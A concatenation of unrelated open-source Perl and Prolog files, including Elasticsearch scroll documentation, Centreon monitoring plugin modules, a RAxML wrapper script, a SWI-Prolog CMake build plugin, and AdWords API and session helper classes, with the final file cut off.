into a new index. The easiest way to do this is to use the built-in L<Search::Elasticsearch::Client::5_0::Direct/reindex()> functionality provided by Elasticsearch. =head1 METHODS =head2 C<new()> use Search::Elasticsearch; my $es = Search::Elasticsearch->new(...); my $scroll = $es->scroll_helper( scroll => '1m', # optional scroll_in_qs => 0|1, # optional %search_params ); The L<Search::Elasticsearch::Client::5_0::Direct/scroll_helper()> method loads L<Search::Elasticsearch::Client::5_0::Scroll> class and calls L</new()>, passing in any arguments. You can specify a C<scroll> duration (which defaults to C<"1m">) and C<scroll_in_qs> (which defaults to C<false>). Any other parameters are passed directly to L<Search::Elasticsearch::Client::5_0::Direct/search()>. The C<scroll> duration tells Elasticearch how long it should keep the scroll alive. B<Note>: this duration doesn't need to be long enough to process all results, just long enough to process a single B<batch> of results. The expiry gets renewed for another C<scroll> period every time new a new batch of results is retrieved from the cluster. By default, the C<scroll_id> is passed as the C<body> to the L<scroll|Search::Elasticsearch::Client::5_0::Direct/scroll()> request. To send it in the query string instead, set C<scroll_in_qs> to a true value, but be aware: when querying very many indices, the scroll ID can become too long for intervening proxies. The C<scroll> request uses C<GET> by default. To use C<POST> instead, set L<send_get_body_as|Search::Elasticsearch::Transport/send_get_body_as> to C<POST>. =head2 C<next()> $doc = $scroll->next; @docs = $scroll->next($num); The C<next()> method returns the next result, or the next C<$num> results (pulling more results if required). If all results have been exhausted, it returns an empty list. =head2 C<drain_buffer()> @docs = $scroll->drain_buffer; The C<drain_buffer()> method returns all of the documents currently in the buffer, without fetching any more from the cluster. =head2 C<refill_buffer()> $total = $scroll->refill_buffer; The C<refill_buffer()> method fetches the next batch of results from the cluster, stores them in the buffer, and returns the total number of docs currently in the buffer. =head2 C<buffer_size()> $total = $scroll->buffer_size; The C<buffer_size()> method returns the total number of docs currently in the buffer. =head2 C<finish()> $scroll->finish; The C<finish()> method clears out the buffer, sets L</is_finished()> to C<true> and tries to clear the C<scroll_id> on Elasticsearch. This API is only supported since v0.90.5, but the call to C<clear_scroll> is wrapped in an C<eval> so the C<finish()> method can be safely called with any version of Elasticsearch. When the C<$scroll> instance goes out of scope, L</finish()> is called automatically if required. =head2 C<is_finished()> $bool = $scroll->is_finished; A flag which returns C<true> if all results have been processed or L</finish()> has been called. =head1 INFO ACCESSORS The information from the original search is returned via the following accessors: =head2 C<total> The total number of documents that matched your query. =head2 C<max_score> The maximum score of any documents in your query. =head2 C<aggregations> Any aggregations that were specified, or C<undef> =head2 C<facets> Any facets that were specified, or C<undef> =head2 C<suggest> Any suggestions that were specified, or C<undef> =head2 C<took> How long the original search took, in milliseconds =head2 C<took_total> How long the original search plus all subsequent batches took, in milliseconds. =head1 SEE ALSO =over =item * L<Search::Elasticsearch::Client::5_0::Direct/search()> =item * L<Search::Elasticsearch::Client::5_0::Direct/scroll()> =item * L<Search::Elasticsearch::Client::5_0::Direct/reindex()> =back
adjust/elasticsearch-perl
lib/Search/Elasticsearch/Client/5_0/Scroll.pm
Perl
apache-2.0
10,286
# # Copyright 2022 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package hardware::pdu::raritan::snmp::mode::components::resources; use strict; use warnings; use Exporter; our $thresholds; our $mapping; our %raritan_type; our %map_type; our @ISA = qw(Exporter); our @EXPORT_OK = qw($thresholds $mapping %raritan_type %map_type); my %map_units = ( -1 => { unit => '' }, # none 0 => { unit => 'other', nunit => 'count' }, 1 => { unit => 'V', nunit => 'volt' }, # volt, 2 => { unit => 'A', nunit => 'ampere' }, # amp, 3 => { unit => 'W', nunit => 'watt' }, # watt 4 => { unit => 'voltamp' }, 5 => { unit => 'wattHour' }, 6 => { unit => 'voltampHour' }, 7 => { unit => 'C', nunit => 'celsius' }, # degreeC 8 => { unit => 'Hz', nunit => 'hertz' }, # hertz 9 => { unit => '%', nunit => 'percentage' }, # percent 10 => { unit => 'meterpersec' }, 11 => { unit => 'pascal' }, 12 => { unit => 'psi' }, 13 => { unit => 'g' }, 14 => { unit => 'degreeF', nunit => 'fahrenheit' }, 15 => { unit => 'feet' }, 16 => { unit => 'inches' }, 17 => { unit => 'cm' }, 18 => { unit => 'meters' }, 19 => { unit => 'rpm' }, 20 => { unit => 'degrees' }, 21 => { unit => 'lux' }, ); my %map_state = ( -1 => 'unavailable', 0 => 'open', 1 => 'closed', 2 => 'belowLowerCritical', 3 => 'belowLowerWarning', 4 => 'normal', 5 => 'aboveUpperWarning', 6 => 'aboveUpperCritical', 7 => 'on', 8 => 'off', 9 => 'detected', 10 => 'notDetected', 11 => 'alarmed', 12 => 'ok', 14 => 'fail', 15 => 'yes', 16 => 'no', 17 => 'standby', 18 => 'one', 19 => 'two', 20 => 'inSync', 21 => 'outOfSync', 22 => 'i1OpenFault', 23 => 'i1ShortFault', 24 => 'i2OpenFault', 25 => 'i2ShortFault', 26 => 'fault', 27 => 'warning', 28 => 'critical', 29 => 'selfTest', ); $mapping = { inlet_label => { Label => { oid => '.1.3.6.1.4.1.13742.6.3.3.3.1.2' }, # inletLabel }, inlet => { Unit => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.6', map => \%map_units }, # inletSensorUnits Decimal => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.7' }, # inletSensorDecimalDigits EnabledThresholds => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.25' }, # inletSensorEnabledThresholds LowerCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.21' }, # inletSensorLowerCriticalThreshold LowerWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.22' }, # inletSensorLowerWarningThreshold UpperCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.23' }, # inletSensorUpperCriticalThreshold UpperWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.3.4.1.24' }, # inletSensorUpperWarningThreshold State => { oid => '.1.3.6.1.4.1.13742.6.5.2.3.1.3', map => \%map_state }, # measurementsInletSensorState Value => { oid => '.1.3.6.1.4.1.13742.6.5.2.3.1.4' }, # measurementsInletSensorValue }, outlet_label => { Label => { oid => '.1.3.6.1.4.1.13742.6.3.5.3.1.2' }, # outletLabel }, outlet => { Unit => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.6', map => \%map_units }, # outletSensorUnits Decimal => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.7' }, # outletSensorDecimalDigits EnabledThresholds => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.25' }, # outletSensorEnabledThresholds LowerCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.21' }, # outletSensorLowerCriticalThreshold LowerWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.22' }, # outletSensorLowerWarningThreshold UpperCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.23' }, # outletSensorUpperCriticalThreshold UpperWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.5.4.1.24' }, # outletSensorUpperWarningThreshold State => { oid => '.1.3.6.1.4.1.13742.6.5.4.3.1.3', map => \%map_state }, # measurementsOutletSensorState Value => { oid => '.1.3.6.1.4.1.13742.6.5.4.3.1.4' }, # measurementsOutletSensorValue }, ocprot_label => { Label => { oid => '.1.3.6.1.4.1.13742.6.3.4.3.1.2' }, # overCurrentProtectorLabel }, ocprot => { Unit => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.6', map => \%map_units }, # overCurrentProtectorSensorUnits Decimal => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.7' }, # overCurrentProtectorSensorDecimalDigits EnabledThresholds => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.25' }, # overCurrentProtectorSensorEnabledThresholds LowerCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.21' }, # overCurrentProtectorSensorLowerCriticalThreshold LowerWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.22' }, # overCurrentProtectorSensorLowerWarningThreshold UpperCriticalThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.23' }, # overCurrentProtectorSensorUpperCriticalThreshold UpperWarningThreshold => { oid => '.1.3.6.1.4.1.13742.6.3.4.4.1.24' }, # overCurrentProtectorSensorUpperWarningThreshold State => { oid => '.1.3.6.1.4.1.13742.6.5.3.3.1.3', map => \%map_state }, # measurementsOverCurrentProtectorSensorState Value => { oid => '.1.3.6.1.4.1.13742.6.5.3.3.1.4' }, # measurementsOverCurrentProtectorSensorValue }, }; %raritan_type = ( rmsCurrent => 1, peakCurrent => 2, unbalancedCurrent => 3, rmsVoltage => 4, activePower => 5, apparentPower => 6, powerFactor => 7, activeEnergy => 8, apparentEnergy => 9, temperature => 10, humidity => 11, airFlow => 12, airPressure => 13, onOff => 14, trip => 15, vibration => 16, waterDetection => 17, smokeDetection => 18, binary => 19, contact => 20, fanSpeed => 21, surgeProtectorStatus => 22, frequency => 23, phaseAngle => 24, rmsVoltageLN => 25, residualCurrent => 26, rcmState => 27, other => 30, none => 31, powerQuality => 32, overloadStatus => 33, overheatStatus => 34, fanStatus => 37, inletPhaseSyncAngle => 38, inletPhaseSync => 39, operatingState => 40, activeInlet => 41, illuminance => 42, doorContact => 43, tamperDetection => 44, motionDetection => 45, i1smpsStatus => 46, i2smpsStatus => 47, switchStatus => 48, ); %map_type = ( 1 => 'numeric', 2 => 'numeric', 3 => 'numeric', 4 => 'numeric', 5 => 'numeric', 6 => 'numeric', 7 => 'numeric', 8 => 'numeric', 9 => 'numeric', 10 => 'numeric', 11 => 'numeric', 12 => 'numeric', 13 => 'numeric', 14 => 'onoff', 15 => 'contact', 16 => 'alarm', 17 => 'alarm', 18 => 'alarm', 19 => 'alarm', 20 => 'alarm', 21 => 'numeric', 22 => 'fault', 23 => 'numeric', 24 => 'numeric', 25 => 'numeric', 26 => 'numeric', 27 => 'alarm', 30 => 'numeric', 31 => 'numeric', 32 => 'powerQuality', 33 => 'fault', 34 => 'fault', 37 => 'fault', 38 => 'numeric', 39 => 'inletPhaseSync', 40 => 'operatingState', 41 => 'activeInlet', 42 => 'numeric', 43 => 'contact', 44 => 'alarm', 45 => 'motionDetection', 46 => 'fault', 47 => 'fault', 48 => 'switchStatus', ); $thresholds = { numeric => [ ['unavailable', 'UNKNOWN'], ['normal', 'OK'], ['belowLowerCritical', 'CRITICAL'], ['belowLowerWarning', 'WARNING'], ['aboveUpperWarning', 'WARNING'], ['aboveUpperCritical', 'CRITICAL'], ], onoff => [ ['unavailable', 'UNKNOWN'], ['on', 'OK'], ['off', 'OK'], ], contact => [ ['unavailable', 'UNKNOWN'], ['open', 'OK'], ['closed', 'OK'], ], alarm => [ ['unavailable', 'UNKNOWN'], ['normal', 'OK'], ['alarmed', 'CRITICAL'], ['selfTest', 'OK'], ['fail', 'CRITICAL'], ], fault => [ ['unavailable', 'UNKNOWN'], ['ok', 'OK'], ['fault', 'CRITICAL'], ], powerQuality => [ ['unavailable', 'UNKNOWN'], ['normal', 'OK'], ['warning', 'WARNING'], ['critical', 'CRITICAL'], ], inletPhaseSync => [ ['unavailable', 'UNKNOWN'], ['inSync', 'OK'], ['outOfSync', 'CRITICAL'], ], operatingState => [ ['unavailable', 'UNKNOWN'], ['normal', 'OK'], ['standby', 'OK'], ['off', 'CRITICAL'], ], activeInlet => [ ['unavailable', 'UNKNOWN'], ['one', 'OK'], ['two', 'OK'], ['none', 'WARNING'], ], motionDetection => [ ['unavailable', 'UNKNOWN'], ], switchStatus => [ ['unavailable', 'UNKNOWN'], ['ok', 'OK'], ['i1OpenFault', 'WARNING'], ['i1ShortFault', 'WARNING'], ['i2OpenFault', 'WARNING'], ['i2ShortFault', 'WARNING'], ], }; 1;
centreon/centreon-plugins
hardware/pdu/raritan/snmp/mode/components/resources.pm
Perl
apache-2.0
9,517
package VMOMI::EVCModeIllegalByVendor; use parent 'VMOMI::EVCConfigFault'; use strict; use warnings; our @class_ancestors = ( 'EVCConfigFault', 'VimFault', 'MethodFault', ); our @class_members = ( ['clusterCPUVendor', undef, 0, ], ['modeCPUVendor', undef, 0, ], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
stumpr/p5-vmomi
lib/VMOMI/EVCModeIllegalByVendor.pm
Perl
apache-2.0
507
#!/usr/bin/perl die "Usage: $0 pattern file1 file2 ...\n" unless @ARGV >= 2; ($pattern, @files) = @ARGV; foreach $file (@files) { if (-f $file) { open FILE, "<$file"; @lines = <FILE>; @match = grep /$pattern/, @lines; # Perl grep print "$file: @match"; close FILE; } }
sniemi/SamPy
sandbox/src1/TCSE3-3rd-examples/src/perl/grep3.pl
Perl
bsd-2-clause
284
=head1 NAME kinect-3d-slam - Demo for Kinect sensor and 3D SLAM =head1 SYNOPSIS kinect-3d-slam =head1 DESCRIPTION B<kinect-3d-slam> is a very simple implementation of 3D Simultaneous Localization and Mapping (SLAM) with a live Kinect sensor. It tracks image features and employ the depth information to estimate the motion of the sensor and reconstruct a 3D point cloud of the environment. =head1 BUGS Please report bugs at https://github.com/MRPT/mrpt/issues =head1 SEE ALSO The application wiki page at https://www.mrpt.org/Kinect_and_MRPT =head1 AUTHORS B<kinect-3d-slam> is part of the Mobile Robot Programming Toolkit (MRPT), and was originally written by the MAPIR laboratory (University of Malaga). This manual page was written by Jose Luis Blanco <joseluisblancoc@gmail.com>. =head1 COPYRIGHT This program is free software; you can redistribute it and/or modify it under the terms of the BSD License. On Debian GNU/Linux systems, the complete text of the BSD License can be found in `/usr/share/common-licenses/BSD'. =cut
MRPT/mrpt
doc/man-pages/pod/kinect-3d-slam.pod
Perl
bsd-3-clause
1,052
#!/usr/bin/env perl use strict; use Getopt::Long; use Pod::Usage; use Data::Dumper; use File::Temp qw(tempfile); use File::Basename qw(fileparse); use FindBin; use lib "$FindBin::Bin/../lib"; use Nexus qw(write_nexus_character_block write_nexus_trees_block write_nexus_taxa_block); use Subfunctions qw(write_phylip parse_phylip parse_fasta pad_seq_ends debug set_debug consensus_str); my $help = 0; my $outfile = ""; my $inputfile = ""; my $raxml = "raxmlHPC-PTHREADS"; my $x = int(rand(1e8)); my $p = int(rand(1e8)); my $threads = 16; my $arguments = "-# 100 -m GTRGAMMA"; if (@ARGV == 0) { pod2usage(-verbose => 1); } GetOptions ('input=s' => \$inputfile, 'output=s' => \$outfile, 'raxml=s' => \$raxml, 'x=i' => \$x, 'p=i' => \$p, 'threads=i' => \$threads, 'arguments=s' => \$arguments, 'help|?' => \$help) or pod2usage(-msg => "GetOptions failed.", -exitval => 2); if ($help){ pod2usage(-verbose => 2); } # Set defaults if ($outfile eq "") { $outfile = "$inputfile.nex"; } if ($outfile !~ /\.nex$/) { $outfile = "$outfile.nex"; } if ($arguments =~ /^(.*)\s*-T (\d+)\s*(.*)$/) { $threads = $2; $arguments = $1.$3; } if ($arguments =~ /^(.*)\s*-x (\d+)\s*(.*)$/) { $x = $2; $arguments = $1.$3; } if ($arguments =~ /^(.*)\s*-p (\d+)\s*(.*)$/) { $p = $2; $arguments = $1.$3; } my $raxml_data = {}; my $running = 0; my ($inputname, $inputpath, undef) = fileparse ($inputfile); my $raxmlinfofile = File::Spec->catpath( undef, $inputpath, "RAxML_info.$inputname" ); print "looking for existing RAxML run $raxmlinfofile...\n"; if (!(-e $raxmlinfofile)) { print "running RAxML for the input file $inputname...\n"; $running = 1; if ($inputname =~ /\.fa.*$/) { # it's a fasta file, convert to phylip... my ($taxa, $taxanames) = parse_fasta($inputfile); $raxml_data->{"fulltaxa"} = $taxanames; $raxml_data->{"characters"} = $taxa; } elsif ($inputname =~ /\.phy.*$/) { # it's a phylip file... my ($taxa, $taxanames) = parse_phylip($inputfile); $raxml_data->{"fulltaxa"} = $taxanames; $raxml_data->{"characters"} = $taxa; } # write out a temporary phylip file for input: my ($fh, $raxml_input) = tempfile(); my $phylip_str = write_phylip ($raxml_data->{"characters"}, $raxml_data->{"fulltaxa"}); print $fh $phylip_str; close $fh; # make sure that the phylip taxa names are accounted for: my @phynames = split (/\n/, $phylip_str, @{$raxml_data->{"fulltaxa"}} + 2); shift @phynames; pop @phynames; $raxml_data->{"taxa"} = (); foreach my $name (@phynames) { $name =~ /^(.+?)\s/; push @{$raxml_data->{"taxa"}}, $1; } $inputname = fileparse ($raxml_input); my $cmd = "$raxml -fa -s $raxml_input -n $inputname -x $x -T $threads -p $p $arguments"; print "RAxML is called as '$cmd'\n"; system ($cmd); $raxmlinfofile = File::Spec->catpath( undef, $inputpath, "RAxML_info.$inputname" ); } if (!(-s $raxmlinfofile)) { print "Couldn't find the RAxML run $raxmlinfofile\n"; exit; } print "found the RAxML run $raxmlinfofile\n"; # metadata that opentree takes: # <meta datatype="xsd:string" property="ot:branchLengthDescription" xsi:type="nex:LiteralMeta"/> # <meta datatype="xsd:string" property="ot:branchLengthMode" xsi:type="nex:LiteralMeta">ot:changesCount</meta> # <meta datatype="xsd:string" property="ot:branchLengthTimeUnit" xsi:type="nex:LiteralMeta">Myr</meta> # <meta datatype="xsd:string" property="ot:curatedType" xsi:type="nex:LiteralMeta">Maximum likelihood</meta> # <meta datatype="xsd:string" property="ot:inGroupClade" xsi:type="nex:LiteralMeta">node5</meta> # <meta datatype="xsd:string" property="ot:nodeLabelMode" xsi:type="nex:LiteralMeta"/> # <meta datatype="xsd:string" property="ot:nodeLabelTimeUnit" xsi:type="nex:LiteralMeta"/> # <meta datatype="xsd:string" property="ot:outGroupEdge" xsi:type="nex:LiteralMeta"/> # <meta datatype="xsd:string" property="ot:specifiedRoot" xsi:type="nex:LiteralMeta">node1</meta> # <meta datatype="xsd:boolean" property="ot:unrootedTree" xsi:type="nex:LiteralMeta"/> open FH, "<:crlf", $raxmlinfofile; $raxml_data->{"params"} = ""; $raxml_data->{"input"} = ""; my $line = readline FH; while ($line) { if ($line =~ /^\s+$/) { # go on } elsif ($line =~ /RAxML was called as follows/) { while ($line !~ /-s\s(.+?)\s/) { $line = readline FH; } $line =~ /-s\s(.+?)\s/; $raxml_data->{"input"} = $1; print "$raxml_data->{input} is the input file\n$line"; } elsif ($raxml_data->{"input"} eq "") { $raxml_data->{"params"} .= $line; } $line = readline FH; } close FH; ##### write in the input file if it hasn't already been read: if (!(exists $raxml_data->{"characters"})) { if (-e $raxml_data->{"input"}) { print "loading input file $raxml_data->{input}\n"; my ($taxa, $taxon_names) = parse_phylip($raxml_data->{"input"}); $raxml_data->{"taxa"} = $taxon_names; $raxml_data->{"characters"} = $taxa; } else { print "Input file $raxml_data->{input} could not be found.\n"; exit; } } ##### trees: $raxml_data->{"trees"} = (); ##### write in the best tree print "loading in best tree from RAxML_bipartitions.$inputname\n"; open FH, "<:crlf", "RAxML_bipartitions.$inputname"; my $tree = {}; $tree->{"besttree"} = ""; foreach my $line (<FH>) { $tree->{"besttree"} .= $line; } push @{$raxml_data->{"trees"}}, $tree; close FH; #### write in the bootstrap trees print "loading in bootstrap trees from RAxML_bootstrap.$inputname\n"; open FH, "<:crlf", "RAxML_bootstrap.$inputname"; my $i = 1; foreach my $line (<FH>) { $tree = {}; $tree->{"bootstrap$i"} = $line; push @{$raxml_data->{"trees"}}, $tree; $i++; } close FH; ##### write out the NEXUS file print "writing out nexus file $outfile\n"; open OUT_FH, ">", $outfile; print OUT_FH "#NEXUS\n\n"; # print OUT_FH write_nexus_character_block ($raxml_data); # print OUT_FH write_nexus_taxa_block ($raxml_data); my @lines = split(/\n/,$raxml_data->{"params"}); foreach my $line (@lines) { print OUT_FH "[ ".$line." ]\n"; } if (exists $raxml_data->{"fulltaxa"}) { $raxml_data->{"alttaxa"} = (); push @{$raxml_data->{"alttaxa"}}, $raxml_data->{"taxa"}; $raxml_data->{"taxa"} = delete $raxml_data->{"fulltaxa"}; } print OUT_FH write_nexus_trees_block ($raxml_data); close OUT_FH; if ($running) { system ("rm *.$inputname"); } __END__ =head1 NAME raxml.pl =head1 SYNOPSIS raxml.pl -input raxml_input -out nexus_output [-raxml raxml_executable] [-x x-seed] [-p p-seed] [-threads num_threads] [-arguments 'raxml-arguments'] =head1 OPTIONS -input: Fasta or Phylip formatted sequence alignment file -output: Name of outputted Nexus file -raxml: optional: the name of the raxml binary (default is 'raxmlHPC-PTHREADS') -x: optional: value of the -x argument (default is a random number) -p: optional: value of the -p argument (default is a random number) -threads: optional: number of threads to be used by raxml (default is 16) -arguments: optional: arguments to be passed to raxml (overrides -x/-p/-T if these are specified in -arguments) (default is "-# 100 -m GTRGAMMA") =head1 DESCRIPTION Takes a nucleotide sequence alignment in Fasta or Phylip format, runs RAxML on the sequences, and converts the output into a Nexus-formatted file. Bootstrap trees are saved as "bootstrap1" as well as the best tree as "besttree". =cut
daisieh/phylogenomics
parsing/raxml.pl
Perl
bsd-3-clause
7,335
/* Part of SWI-Prolog Author: Jan Wielemaker E-mail: jan@swi-prolog.org WWW: http://www.swi-prolog.org Copyright (c) 2021, SWI-Prolog Solutions b.v. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ :- module(build_cmake, []). :- use_module(tools). /** <module> CMake plugin to deal with build steps Manage a CMake project. This prefers the `ninja` generator if available in ``$PATH``. */ :- multifile cmake_option/2. % +Env, -Option :- multifile prolog:build_file/2, prolog:build_step/4. % Step, Tool, SrcDir, BuildDir prolog:build_file('CMakeLists.txt', cmake). prolog:build_step(configure, cmake, State0, State) :- ensure_build_dir(build, State0, State), findall(Opt, cmake_option(State, Opt), Argv, [..]), run_process(path(cmake), Argv, [ directory(State.bin_dir), env(State.env) ]). prolog:build_step(build, cmake, State0, State) :- ensure_build_dir(build, State0, State), run_process(path(cmake), ['--build', '.'], [ directory(State.bin_dir), env(State.env) ]). prolog:build_step(test, cmake, State0, State) :- ensure_build_dir(build, State0, State), ( directory_file_path(State.bin_dir, 'CTestTestfile.cmake', TestFile), exists_file(TestFile) -> test_jobs(Jobs), run_process(path(ctest), ['-j', Jobs, '--output-on-failure'], [ directory(State.bin_dir), env(State.env) ]) ; true ). prolog:build_step(install, cmake, State0, State) :- ensure_build_dir(build, State0, State), run_process(path(cmake), ['--install', '.'], [ directory(State.bin_dir), env(State.env) ]). prolog:build_step(clean, cmake, State0, State) :- ensure_build_dir(build, State0, State), run_cmake_target(State, clean). prolog:build_step(distclean, cmake, State, State) :- directory_file_path(State.src_dir, build, BinDir), ( exists_directory(BinDir) -> delete_directory_and_contents(BinDir) ; true ). %! cmake_option(+State, -Define) is nondet. cmake_option(_, CDEF) :- current_prolog_flag(executable, Exe), format(atom(CDEF), '-DSWIPL=~w', [Exe]). cmake_option(_, CDEF) :- prolog_install_prefix(Prefix), format(atom(CDEF), '-DCMAKE_INSTALL_PREFIX=~w', [Prefix]). cmake_option(State, CDEF) :- cmake_build_type(State, Type), format(atom(CDEF), '-DCMAKE_BUILD_TYPE=~w', [Type]). cmake_option(State, Opt) :- has_program(path(ninja), _, State.env), member(Opt, ['-G', 'Ninja']). run_cmake_target(State, Target) :- cmake_generator_file(Generator, File), directory_file_path(State.bin_dir, File, AbsFile), exists_file(AbsFile), run_process(path(Generator), [Target], [ directory(State.bin_dir), env(State.env) ]). cmake_generator_file(ninja, 'build.ninja'). cmake_generator_file(make, 'Makefile'). cmake_build_type(State, Type) :- Type = State.get(build_type), !. cmake_build_type(_, Type) :- current_prolog_flag(cmake_build_type, PlType), project_build_type(PlType, Type), !. cmake_build_type(_, 'Release'). project_build_type('PGO', 'Release'). project_build_type('DEB', 'Release'). project_build_type(Type, Type). test_jobs(Jobs) :- current_prolog_flag(cpu_count, Cores), Jobs is max(1, max(min(4,Cores), Cores//2)).
josd/eye
eye-wasm/swipl-wasm/home/library/build/cmake.pl
Perl
mit
4,857
package Google::Ads::AdWords::v201409::Selector; use strict; use warnings; __PACKAGE__->_set_element_form_qualified(1); sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201409' }; our $XML_ATTRIBUTE_CLASS; undef $XML_ATTRIBUTE_CLASS; sub __get_attr_class { return $XML_ATTRIBUTE_CLASS; } use Class::Std::Fast::Storable constructor => 'none'; use base qw(Google::Ads::SOAP::Typelib::ComplexType); { # BLOCK to scope variables my %fields_of :ATTR(:get<fields>); my %predicates_of :ATTR(:get<predicates>); my %dateRange_of :ATTR(:get<dateRange>); my %ordering_of :ATTR(:get<ordering>); my %paging_of :ATTR(:get<paging>); __PACKAGE__->_factory( [ qw( fields predicates dateRange ordering paging ) ], { 'fields' => \%fields_of, 'predicates' => \%predicates_of, 'dateRange' => \%dateRange_of, 'ordering' => \%ordering_of, 'paging' => \%paging_of, }, { 'fields' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'predicates' => 'Google::Ads::AdWords::v201409::Predicate', 'dateRange' => 'Google::Ads::AdWords::v201409::DateRange', 'ordering' => 'Google::Ads::AdWords::v201409::OrderBy', 'paging' => 'Google::Ads::AdWords::v201409::Paging', }, { 'fields' => 'fields', 'predicates' => 'predicates', 'dateRange' => 'dateRange', 'ordering' => 'ordering', 'paging' => 'paging', } ); } # end BLOCK 1; =pod =head1 NAME Google::Ads::AdWords::v201409::Selector =head1 DESCRIPTION Perl data type class for the XML Schema defined complexType Selector from the namespace https://adwords.google.com/api/adwords/cm/v201409. A generic selector to specify the type of information to return. =head2 PROPERTIES The following properties may be accessed using get_PROPERTY / set_PROPERTY methods: =over =item * fields =item * predicates =item * dateRange =item * ordering =item * paging =back =head1 METHODS =head2 new Constructor. The following data structure may be passed to new(): =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201409/Selector.pm
Perl
apache-2.0
2,164
package Session; use warnings; use strict; use ItemConstants; use UrlConstants; sub getUser { my $env = shift; my $dbh = shift; my $userId= $env->{'HTTP_REMOTE_USER'}; my $user = {}; # if we're using session cache and have 'user' cached, return it if ( defined($env->{'psgix.session'}) && defined($env->{'psgix.session'}{user}) && $env->{'psgix.session'}{user}{userName} eq $userId) { return $env->{'psgix.session'}{user}; } my $sql = qq|SELECT * FROM user WHERE u_username = ? LIMIT 1 |; my $sth = $dbh->prepare($sql); $sth->execute($userId); if ( my $row = $sth->fetchrow_hashref ) { $user->{type} = $row->{u_type}; $user->{id} = $row->{u_id}; $user->{adminType} = $row->{u_admin_type}; $user->{reviewType} = $row->{u_review_type}; $user->{organizationId} = $row->{o_id}; $user->{writerCode} = $row->{u_writer_code}; $user->{userName} = $userId; $user->{firstName} = $row->{u_first_name}; $user->{lastName} = $row->{u_last_name}; $user->{eMail} = $row->{u_email}; $user->{banks} = ItemConstants::getItemBanks($dbh, $row->{u_id}); $user->{workGroups} = ItemConstants::getWorkgroupsByUser($dbh, $row->{u_id}); } else { $user->{type} = 0; $user->{id} = 0; $user->{adminType} = 0; $user->{reviewType} = 0; $user->{organizationId} = 0; $user->{writerCode} = 0; $user->{userName} = ''; $user->{firstName} = ''; $user->{lastName} = ''; $user->{eMail} = ''; $user->{banks} = {}; } # if we're using session cache, set the 'user' key if($env->{'psgix.session'}) { $env->{'psgix.session'}{user} = $user; } return $user; } 1;
SmarterApp/ItemAuthoring
sbac-iaip/perl/Session.pm
Perl
apache-2.0
2,008
# # Copyright 2017 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package storage::hp::storeonce::restapi::custom::api; use strict; use warnings; use centreon::plugins::http; use XML::Simple; sub new { my ($class, %options) = @_; my $self = {}; bless $self, $class; if (!defined($options{output})) { print "Class Custom: Need to specify 'output' argument.\n"; exit 3; } if (!defined($options{options})) { $options{output}->add_option_msg(short_msg => "Class Custom: Need to specify 'options' argument."); 